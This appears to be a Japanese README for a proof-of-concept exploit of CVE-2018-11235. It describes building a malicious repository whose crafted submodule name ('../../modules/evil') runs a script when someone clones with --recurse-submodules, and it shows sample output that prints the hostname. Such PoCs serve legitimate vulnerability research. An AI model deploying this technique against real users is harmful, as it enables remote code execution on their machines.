
CVE-2018-11235 の PoC エクスプロイト: git clone --recurse-submodules で RCE を可能にする
==============================
GitHub で脆弱性を利用するリポジトリをプッシュすることは許可されていません(彼らにとっては良いことです)。そのため、build.sh スクリプトを実行して自分でビルドする必要があります。
その後、リポジトリをどこかにプッシュします。--recurse-submodules フラグを付けてクローンすると、悪意のあるスクリプト が実行されます:
$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Here is your hostname: snip
Submodule path 'evil': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
このコードは @peff 氏の git patch から派生しています(t/t7415-submodule-names.sh テストファイルを参照してください)。
そのため、このリポジトリは GNU General Public License バージョン 2 の下で公開されています。
古いバージョンの git に対する追加の修正は、@atorralba 氏の提供によるものです(この投稿の詳細)。